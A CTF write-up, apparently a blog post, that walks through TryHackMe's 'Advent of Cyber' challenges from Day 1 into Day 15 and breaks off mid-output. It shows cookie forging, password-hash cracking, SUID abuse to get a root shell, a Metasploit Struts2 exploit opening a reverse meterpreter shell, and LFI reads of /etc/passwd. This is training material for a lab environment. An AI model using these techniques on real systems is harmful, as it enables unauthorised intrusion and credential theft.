Information
Room
Name: Advent of Cyber
Profile: tryhackme.com
Difficulty: Easy
Description : Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S ffuf mariadb-clients nmap fingerprinter aws-extender-cli curl jq ruby-rubyzip hydra weevely
Official Resources & material
[Day 1] Inventory Management
What is the name of the cookie used for authentication?
Answer: authid
With Firefox: Press F12 and go in the Storage Tabs then in the Cookies folding menu
With curl: Display HTTP headers curl --head http://<your_machines_ip>:3000
If you decode the cookie, what is the value of the fixed part of the cookie?
Answer: v4er9ll1!ss
My users were named a
and b
so the cookie is username
+ fix secret
$ printf %s 'YXY0ZXI5bGwxIXNz' | base64 -d
av4er9ll1!ss
$ printf %s 'YnY0ZXI5bGwxIXNz' | base64 -d
bv4er9ll1!ss
After accessing his account, what did the user mcinventory request?
Answer: firewall
So to connect with mcinventory
we can craft the cookie:
$ printf %s 'mcinventoryv4er9ll1!ss' | base64
bWNpbnZlbnRvcnl2NGVyOWxsMSFzcw==
Then we can see entries on his profile.
[Day 2] Arctic Forum
What is the path of the hidden page?
Answer: /sysadmin
Enumerate folders with ffuf:
$ ffuf -u http://10.10.184.116:3000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.184.116:3000/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
css [Status: 301, Size: 173, Words: 7, Lines: 11]
login [Status: 200, Size: 1713, Words: 368, Lines: 52]
admin [Status: 302, Size: 27, Words: 4, Lines: 1]
js [Status: 301, Size: 171, Words: 7, Lines: 11]
logout [Status: 302, Size: 28, Words: 4, Lines: 1]
home [Status: 302, Size: 28, Words: 4, Lines: 1]
assets [Status: 301, Size: 179, Words: 7, Lines: 11]
. [Status: 301, Size: 169, Words: 7, Lines: 11]
sysadmin [Status: 200, Size: 1733, Words: 381, Lines: 54]
:: Progress: [38267/38267] :: Job [1/1] :: 1294 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
What is the password you found?
Answer: defaultpass
On http://10.10.184.116:3000/sysadmin source code there is a comment:
<!--
Admin portal created by arctic digital design - check out our github repo
-->
Then we can use a basic google dork:
arctic digital design site:github.com
Here is the repo: https://github.com/ashu-savani/arctic-digital-design
Here is the README.md :
# Arctic Digital Design
arctic digital design used for advent of cyber
Previous versions of this software have been shipped out. The credentials to log in are:
* username: admin
* password: defaultpass
** the login portal accepts usernames instead of emails **
What do you have to take to the 'partay'
Answer: Eggnog
Logs with the creds on the sysadmin page.
There is a note:
Hey all - Please don't forget to BYOE(Bring Your Own Eggnog) for the partay!!
[Day 3] Evil Elf
Whats the destination IP on packet number 998?
Answer: 63.32.89.195
Rather than using Wireshark we can use its CLI utility and apply the same filters:
$ tshark -r Evil_Elf.pcap -Y 'frame.number==998' -T fields -e ip.dst
63.32.89.195
As a reference you can check my other WU using tshark:
What item is on the Christmas list?
Answer: ps4
Just using the right filter, nothing fancy:
$ tshark -r Evil_Elf.pcap -Y 'telnet' -T fields -e telnet.data
echo 'ps4' > christmas_list.txt\n
cat /etc/shadow\n
root:*:18171:0:99999:7:::\n,daemon:*:18171:0:99999:7:::\n,bin:*:18171:0:99999:7:::\n,sys:*:18171:0:99999:7:::\n,sync:*:18171:0:99999:7:::\n,games:*:18171:0:99999:7:::\n,man:*:18171:0:99999:7:::\n,lp:*:18171:0:99999:7:::\n,mail:*:18171:0:99999:7:::\n,news:*:18171:0:99999:7:::\n,uucp:*:18171:0:99999:7:::\n,proxy:*:18171:0:99999:7:::\n,www-data:*:18171:0:99999:7:::\n,backup:*:18171:0:99999:7:::\n,list:*:18171:0:99999:7:::\n,irc:*:18171:0:99999:7:::\n,gnats:*:18171:0:99999:7:::\n,nobody:*:18171:0:99999:7:::\n,systemd-network:*:18171:0:99999:7:::\n,systemd-resolve:*:18171:0:99999:7:::\n,syslog:*:18171:0:99999:7:::\n,messagebus:*:18171:0:99999:7:::\n,_apt:*:18171:0:99999:7:::\n,lxd:*:18171:0:99999:7:::\n,uuidd:*:18171:0:99999:7:::\n,dnsmasq:*:18171:0:99999:7:::\n,landscape:*:18171:0:99999:7:::\n,sshd:*:18171:0:99999:7:::\n,pollinate:*:18171:0:99999:7:::\n,ubuntu:!:18232:0:99999:7:::\n,buddy:$6$3GvJsNPG$ZrSFprHS13divBhlaKg1rYrYLJ7m1xsYRKxlLh0A1sUc/6SUd7UvekBOtSnSyBwk3vCDqBhrgxQpkdsNN6aYP1:18233:0:99999:7:::\n
Crack buddy's password!
Answer: rainbow
A classic wordlist-based password cracking with JtR:
$ john hashes.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=sha512crypt
[Day 4] Training
How many visible files are there in the home directory(excluding ./ and ../)?
Answer: 8
ls -1
display one file or folder per line and wc
will count the number of lines.
$ ssh mcsysadmin@10.10.152.127
[mcsysadmin@ip-10-10-152-127 ~]$ ls -1 | wc
What is the content of file5?
Answer: recipes
Obvious:
$ [mcsysadmin@ip-10-10-152-127 ~]$ cat file5
Which file contains the string 'password'?
Answer: file6
Let's use grep
to search for content in files and -n
option to display
from which file it matched.
[mcsysadmin@ip-10-10-152-127 ~]$ grep -rn password .
What is the IP address in a file in the home folder?
Answer: 10.0.0.05
You can find regexp for IP addresses online and the -E
flag is for extended regexp
instead of string match.
$ [mcsysadmin@ip-10-10-152-127 ~]$ grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r .
How many users can log into the machine?
Answer: 3
Only user with a shell (here bash) can connect, other with entry point such as
/usr/bin/nologin
are system accounts.
[mcsysadmin@ip-10-10-152-127 ~]$ cat /etc/passwd | grep bash | wc
What is the sha1 hash of file8?
Answer: fa67ee594358d83becdd2cb6c466b25320fd2835
Obvious:
[mcsysadmin@ip-10-10-152-127 ~]$ sha1sum file8
What is mcsysadmin's password hash?
Answer: $6$jbosYsU/$qOYToX/hnKGjT0EscuUIiIqF8GHgokHdy/Rg/DaB.RgkrbeBXPdzpHdMLI6cQJLdFlS4gkBMzilDBYcQvu2ro/
locate
will search in the file index.
[mcsysadmin@ip-10-10-152-127 ~]$ locate shadow | grep bak
/var/shadow.bak
[Day 5] Ho-Ho-Hosint
What is Lola's date of birth? Format: Month Date, Year (e.g November 12, 2019)
Answer: December 29, 1900
Display EFIX metadata with exiftool:
$ exiftool thegrinch.jpg
ExifTool Version Number : 12.00
File Name : thegrinch.jpg
Directory : .
File Size : 69 kB
File Modification Date/Time : 2020:11:19 19:57:24+01:00
File Access Date/Time : 2020:11:19 19:57:23+01:00
File Inode Change Date/Time : 2020:11:19 19:57:24+01:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
XMP Toolkit : Image::ExifTool 10.10
Creator : JLolax1
Image Width : 642
Image Height : 429
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 642x429
Megapixels : 0.275
We found JLolax1
in the metadata, let's find a social media account, eg.
twitter: https://twitter.com/jlolax1?lang=en
What is Lola's current occupation?
Answer: Santa's Helpers
Answer from the only tweet.
What phone does Lola make?
Answer: iPhone X
Answer from the only tweet.
What date did Lola first start her photography? Format: dd/mm/yyyy
Answer: 23/10/2014
She has a wordpress and we can browser on the WayBackMachine to see what is the
oldest snapshot that may contain the answer.
Here is the post:
I started as a freelance photographer five years ago today!
So date - 5 years is the answer.
What famous woman does Lola have on her web page?
Answer: Ada Lovelace
Google image reverse search.
[Day 6] Data Elf-iltration
What data was exfiltrated via DNS?
Answer: Candy Cane Serial Number 8491
Extract DNS name from the queries, keep only the one from the target domain and
convert the hex to ASCII.
$ tshark -r holidaythief.pcap -Y 'dns' -T fields -e 'dns.qry.name' | grep holidaythief.com | uniq | xxd -r -p
What did Little Timmy want to be for Christmas?
Answer: PenTester
Extract downloaded files:
WireShark > Export objects > HTTP > christmaslists.zip
Crack the password of the zip:
$ zip2john christmaslists.zip
$ john zip.hash --wordlist=/usr/share/wordlists/passwords/rockyou.txt
...
december (christmaslists.zip)
...
$ unzip christmaslists.zip
Archive: christmaslists.zip
[christmaslists.zip] christmaslistdan.tx password:
extracting: christmaslistdan.tx
inflating: christmaslistdark.txt
inflating: christmaslistskidyandashu.txt
inflating: christmaslisttimmy.txt
What was hidden within the file?
Answer: RFC527
WireShark > Export objects > HTTP > TryHackMe.jpg
$ steghide extract -sf TryHackMe.jpg
Enter passphrase:
wrote extracted data to "christmasmonster.txt".
[Day 7] Skilling Up
how many TCP ports under 1000 are open?
Answer: 3
Limit the ports with -p
:
$ sudo nmap -sSVC -p 1-1000 10.10.19.20 -v
What is the name of the OS of the host?
Answer: linux
Add the OS detection flag:
$ sudo nmap -O 10.10.19.20 -v
What version of SSH is running?
Answer: 7.4
From the first scan we added the service detection flag already.
What is the name of the file that is accessible on the server you found running?
Answer: interesting.file
$ curl http://10.10.19.20:999
[Day 8] SUID Shenanigans
What port is SSH running on?
Answer: 65534
$ sudo nmap -sSVC -p- 10.10.147.215 -v
Find and run a file as igor. Read the file /home/igor/flag1.txt
Answer: THM{d3f0708bdd9accda7f937d013eaf2cd8}
Rather self-explanatory, just using the commands from the course material:
$ ssh holly@10.10.147.215 -p 65534
holly@ip-10-10-147-215:~$ find / -user igor -perm -4000 -exec ls -ldb {} \;
...
-rwsr-xr-x 1 igor igor 221768 Feb 7 2016 /usr/bin/find
-rwsr-xr-x 1 igor igor 2770528 Mar 31 2016 /usr/bin/nmap
holly@ip-10-10-147-215:~$ /usr/bin/find /home/igor/flag1.txt -exec cat /home/igor/flag1.txt \;
There is potentially a second option:
$ gtfoblookup linux shell nmap
nmap:
shell:
Description: Input echo is disabled.
Code: TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
Description: The interactive mode, available on versions 2.02 to
5.21, can be used to execute shell commands.
Code: nmap --interactive
nmap> !sh
Find another binary file that has the SUID bit set. Using this file, can you become the root user and read the /root/flag2.txt file?
Answer: THM{8c8211826239d849fa8d6df03749c3a2}
Just using the commands from the course material:
holly@ip-10-10-147-215:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null;
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 27608 Aug 23 2019 /bin/umount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 26 2019 /bin/su
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 40152 Aug 23 2019 /bin/mount
-rwsr-xr-x 1 root root 40152 May 15 2019 /snap/core/7396/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/7396/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/7396/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/7396/bin/su
-rwsr-xr-x 1 root root 27608 May 15 2019 /snap/core/7396/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/7396/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/7396/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/7396/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/7396/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/7396/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jun 10 2019 /snap/core/7396/usr/bin/sudo
-rwsr-xr-- 1 root systemd-network 42992 Jun 10 2019 /snap/core/7396/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/7396/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Jul 12 2019 /snap/core/7396/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7396/usr/sbin/pppd
-rwsrwxr-x 1 root root 8880 Dec 7 2019 /usr/bin/system-control
-rwsr-xr-x 1 root root 32944 Mar 26 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 54256 Mar 26 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 39904 Mar 26 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 136808 Jun 10 2019 /usr/bin/sudo
-rwsr-xr-x 1 root root 40432 Mar 26 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 71824 Mar 26 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 75304 Mar 26 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 32944 Mar 26 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 14864 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 84120 Apr 9 2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Aug 20 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
holly@ip-10-10-147-215:~$ printf %s 'id' | /usr/bin/system-control
===== System Control Binary =====
uid=0(root) gid=1001(holly) groups=1001(holly)
Enter system command:
holly@ip-10-10-147-215:~$ printf %s 'cat /root/flag2.txt' | /usr/bin/system-control
[Day 9] Requests
What is the value of the flag?
Answer: sCrIPtKiDd
#!/usr/bin/env ruby
require 'json'
require 'httpclient'
url = 'http://10.10.169.100:3000/'
clnt = HTTPClient . new
flag = ''
ans = clnt.get(url).body
json = JSON .parse(ans)
flag += json[ 'value' ]
char = json[ 'next' ]
until char == 'end'
ans = clnt.get(url + char).body
json = JSON .parse(ans)
flag += json[ 'value' ] unless json[ 'value' ] == 'end'
char = json[ 'next' ]
end
puts flag
Compromise the web server using Metasploit. What is flag1?
Answer: THM{3ad96bb13ec963a5ca4cb99302b37e12}
$ curl --head http://10.10.254.110/
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=7E0AE060E583BD0A1FB49C5EACDD2BEA; Path=/; HttpOnly
Location: showcase.action
Content-Type: text/html
Transfer-Encoding: chunked
Date: Sun, 22 Nov 2020 19:47:45 GMT
$ msfconsole -q
msf6 > use multi/http/struts2_content_type_ognl
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts2_content_type_ognl) > options
Module options (exploit/multi/http/struts2_content_type_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.254.110 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /showcase.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.9.19.77 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal
msf6 exploit(multi/http/struts2_content_type_ognl) > run
[*] Started reverse TCP handler on 10.9.19.77:4444
[*] Sending stage (3008420 bytes) to 10.10.254.110
[*] Meterpreter session 1 opened (10.9.19.77:4444 -> 10.10.254.110:40250) at 2020-11-22 20:53:09 +0100
meterpreter >
$ id
uid=0(root) gid=0(root) groups=0(root)
$ find / -iname "*flag1*" 2>/dev/null
/usr/local/tomcat/webapps/ROOT/ThisIsFlag1.txt
Now you've compromised the web server, get onto the main system. What is Santa's SSH password?
Answer: rudolphrednosedreindeer
List process:
$ ps -ef f
UID PID PPID C STIME TTY STAT TIME CMD
root 1 0 0 19:34 ? Ssl 0:15 /docker-java-home/jre/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.endorsed.dirs=/usr/local/tomcat/endorsed -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
root 50 1 0 19:53 ? S 0:00 /usr/local/tomcat/temp/Vdgl8163552743262842558.exe
root 52 50 0 19:54 ? S 0:00 \_ /bin/sh
root 81 52 0 20:09 ? R 0:00 \_ ps -ef f
$ ls -lhA /.dockerenv
-rwxr-xr-x 1 root root 0 Nov 22 19:34 /.dockerenv
There is not a lot of process, we may be inside a docker container.
$ cat /home/santa/ssh-creds.txt
Who is on line 148 of the naughty list?
Answer: Melisa Vanhoose
$ ssh santa@10.10.254.110
[santa@ip-10-10-254-110 ~]$ head -148 naughty_list.txt | tail -1
Who is on line 52 of the nice list?
Answer: Lindsey Gaffney
[santa@ip-10-10-254-110 ~]$ head -52 nice_list.txt | tail -1
[Day 11] Elf Applications
What is the password inside the creds.txt file?
Answer: securepassword123
$ sudo nmap -sSVC -p- 10.10.37.5 -v
...
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 500 OOPS: invalid pasv_address
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.9.19.77
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 14:6f:fc:4d:82:43:eb:e9:6e:f3:0e:01:38:f0:cb:23 (RSA)
| 256 83:33:03:d0:b4:1d:cb:8e:59:6f:13:14:c5:a2:75:b3 (ECDSA)
|_ 256 ec:b1:63:c0:6d:98:fd:be:76:31:cd:b9:78:35:2a:bf (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 20048/tcp mountd
| 100005 1,2,3 20048/tcp6 mountd
| 100005 1,2,3 20048/udp mountd
| 100005 1,2,3 20048/udp6 mountd
| 100021 1,3,4 34089/tcp6 nlockmgr
| 100021 1,3,4 34461/udp6 nlockmgr
| 100021 1,3,4 38253/tcp nlockmgr
| 100021 1,3,4 38594/udp nlockmgr
| 100024 1 45209/tcp status
| 100024 1 45851/tcp6 status
| 100024 1 45934/udp6 status
| 100024 1 46122/udp status
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
3306/tcp open mysql MySQL 5.7.28
| mysql-info:
| Protocol: 10
| Version: 5.7.28
| Thread ID: 4
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, ConnectWithDatabase, LongPassword, Speaks41ProtocolOld, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, SupportsTransactions, IgnoreSigpipes, InteractiveClient, ODBCClient, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolNew, SupportsCompression, LongColumnFlag, SupportsLoadDataLocal, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: ^\x0E/' #\x12f\x037I#_R\\x19RK5\x1A
|_ Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_5.7.28_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_5.7.28_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-12-10T23:10:36
| Not valid after: 2029-12-07T23:10:36
| MD5: aac5 77b5 16cb e816 8de8 a245 96c9 9537
|_SHA-1: d1a1 0cbd a01d 636d 38a5 fd9c a908 e657 3ea1 0045
|_ssl-date: TLS randomness does not represent time
20048/tcp open mountd 1-3 (RPC #100005)
38253/tcp open nlockmgr 1-4 (RPC #100021)
45209/tcp open status 1 (RPC #100024)
Service Info: OS: Unix
...
Exploiting the unprotected NFS:
$ showmount -e 10.10.37.5
Export list for 10.10.37.5:
/opt/files *
$ sudo mount 10.10.37.5:/opt/files /mnt
$ cat /mnt/creds.txt
What is the name of the file running on port 21?
Answer: file.txt
Classic FTP:
$ ftp 10.10.37.5
Connected to 10.10.37.5.
220 (vsFTPd 3.0.2)
Name (10.10.37.5:noraj): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
What is the password after enumerating the database?
Answer: bestpassword
Classic MySQL:
$ cat file.txt
remember to wipe mysql:
root
ff912ABD*
$ mysql -h 10.10.37.5 -u root -p
MySQL [(none)]> show databases;
MySQL [data]> show tables;
MySQL [data]> SELECT * FROM USERS;
[Day 12] Elfcryption
What is the md5 hashsum of the encrypted note1 file?
Answer: 24cf615e2a4f42718f2ff36b35614f8f
Decompress:
$ 7z l tosend.zip
...
--
Path = tosend.zip
Type = zip
Physical Size = 7075
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2019-12-11 23:16:52 ..... 128 128 note1.txt.gpg
2019-12-11 23:17:00 ..... 1114 1114 note2_encrypted.txt
2019-12-11 23:17:05 ..... 7011 5341 private.key
------------------- ----- ------------ ------------ ------------------------
2019-12-11 23:17:05 8253 6583 3 files
$ 7z x tosend.zip
$ md5sum note1.txt.gpg
Where was elf Bob told to meet Alice?
Answer: Santa's Grotto
Decrypt the message:
Password: 25daysofchristmas
(name of the room, given as hint)
Decrypt note2 and obtain the flag!
Answer: THM{ed9ccb6802c5d0f905ea747a310bba23}
Decrypt using the private key:
$ openssl rsautl -decrypt -inkey private.key -in note2_encrypted.txt -out decrypted.txt
Password: hello
(given as hint)
[Day 13] Accumulate
A web server is running on the target. What is the hidden directory which the website lives on?
Answer: /retro
Service scan:
$ sudo nmap -sSVC -p- 10.10.156.157 -v -Pn
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: RETROWEB
| NetBIOS_Domain_Name: RETROWEB
| NetBIOS_Computer_Name: RETROWEB
| DNS_Domain_Name: RetroWeb
| DNS_Computer_Name: RetroWeb
| Product_Version: 10.0.14393
|_ System_Time: 2020-11-26T18:23:54+00:00
| ssl-cert: Subject: commonName=RetroWeb
| Issuer: commonName=RetroWeb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-25T17:56:50
| Not valid after: 2021-05-27T17:56:50
| MD5: b81c d8fe 07e4 9239 ea26 b685 7322 d6d0
|_SHA-1: e4c3 d748 319e 7319 490d e686 37e6 2409 4725 12fb
|_ssl-date: 2020-11-26T18:23:55+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
Classic web enumeration:
$ ffuf -u http://10.10.156.157/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -ac
...
retro [Status: 301, Size: 150, Words: 9, Lines: 2]
...
Gain initial access and read the contents of user.txt
Answer: THM{HACK_PLAYER_ONE}
Enumerate files & find the version of wordpress:
$ ffuf -u http://10.10.156.157/retro/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -ac
...
wp-login.php [Status: 200, Size: 2743, Words: 152, Lines: 69]
...
$ fingerprinter -a wordpress -f http://10.10.156.157/retro
...
Very likely to be v5.2.1
The author of the blog is named wade
.
There is an article explaining why he choose this username: http://10.10.156.157/retro/index.php/2019/12/09/ready-player-one/
I can't believe the movie based on my favorite book of all time is going to come out in a few days! Maybe it's because my name is so similar to the main character, but I honestly feel a deep connection to the main character Wade. I keep mistyping the name of his avatar whenever I log in but I think I'll eventually get it down. Either way, I'm really excited to see this movie!
There is also a comment with probably the password:
Leaving myself a note here just in case I forget how to spell it: parzival
We can use wade
/ parzival
credentials over RDP (3389) with Remmina.
[Optional] Elevate privileges and read the content of root.txt
Answer: THM{COIN_OPERATED_EXPLOITATION}
There is hhupd.exe
on the desktop.
PayloadsAllTheThings - CVE-2019-1388 - Windows EoP with hhupd.exe
Details of the exploitation on ZDI - Thanksgiving Treat: Easy-as-Pie Windows 7 Secure Desktop Escalation of Privilege .
[Day 14] Unknown Storage
What is the name of the file you found?
Answer: employee_names.txt
McSkidy's only starting point is a single bucket name: advent-bucket-one
Enum public files from the S3 bucket:
$ aws-extender-cli -b advent-bucket-one -s S3
===== (advent-bucket-one) =====
[*] s3:GetBucketAcl
* http://acs.amazonaws.com/groups/global/AllUsers->READ
* http://acs.amazonaws.com/groups/global/AllUsers->WRITE
* http://acs.amazonaws.com/groups/global/AllUsers->READ_ACP
* ashusavani->READ
* ashusavani->READ_ACP
[*] s3:ListMultipartUploadParts
[*] s3:ListBucket
* employee_names.txt
[*] s3:PutObject
* test.txt
What is in the file?
Answer: mcchef
$ curl http://advent-bucket-one.s3.amazonaws.com/employee_names.txt
[Day 15] LFI
What is Charlie going to book a holiday to?
Answer: Hawaii
Service scan:
$ sudo nmap -sSVC -p- 10.10.166.182 -v
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8b:1f:02:a8:fd:8c:b8:11:b2:33:54:cb:b6:7b:cb:76 (RSA)
| 256 21:44:7d:e6:ca:66:76:2b:98:c5:31:d3:dc:5e:01:1b (ECDSA)
|_ 256 dd:9a:7b:ca:ce:fc:99:a0:98:e4:36:74:c7:96:7d:5e (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-favicon: Unknown favicon MD5: DBC69DB56435575CDC5CF45C96045958
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Public Notes
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
On http://10.10.166.182/ we can see a todolist on Note 3.
Read /etc/shadow and crack Charlies password.
Answer: password1
If you look at the source or network trafic
function getNote ( note , id ) {
const url = '/get-file/' + note . replace ( / \/ / g , '%2f' )
$ . getJSON ( url , function ( data ) {
document . querySelector ( id ). innerHTML = data . info . replace ( /(?:\r\n | \r | \n)/ g , '<br>' );
})
}
// getNote('server.js', '#note-1')
getNote ( 'views/notes/note1.txt' , '#note-1' )
getNote ( 'views/notes/note2.txt' , '#note-2' )
getNote ( 'views/notes/note3.txt' , '#note-3' )
The notes are requested like that: http://10.10.166.182/get-file/views%2Fnotes%2Fnote1.txt
$ curl http://10.10.166.182/get-file/%2fetc%2fpasswd -s | jq
{
"success": true,
"info": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:103:systemd Network 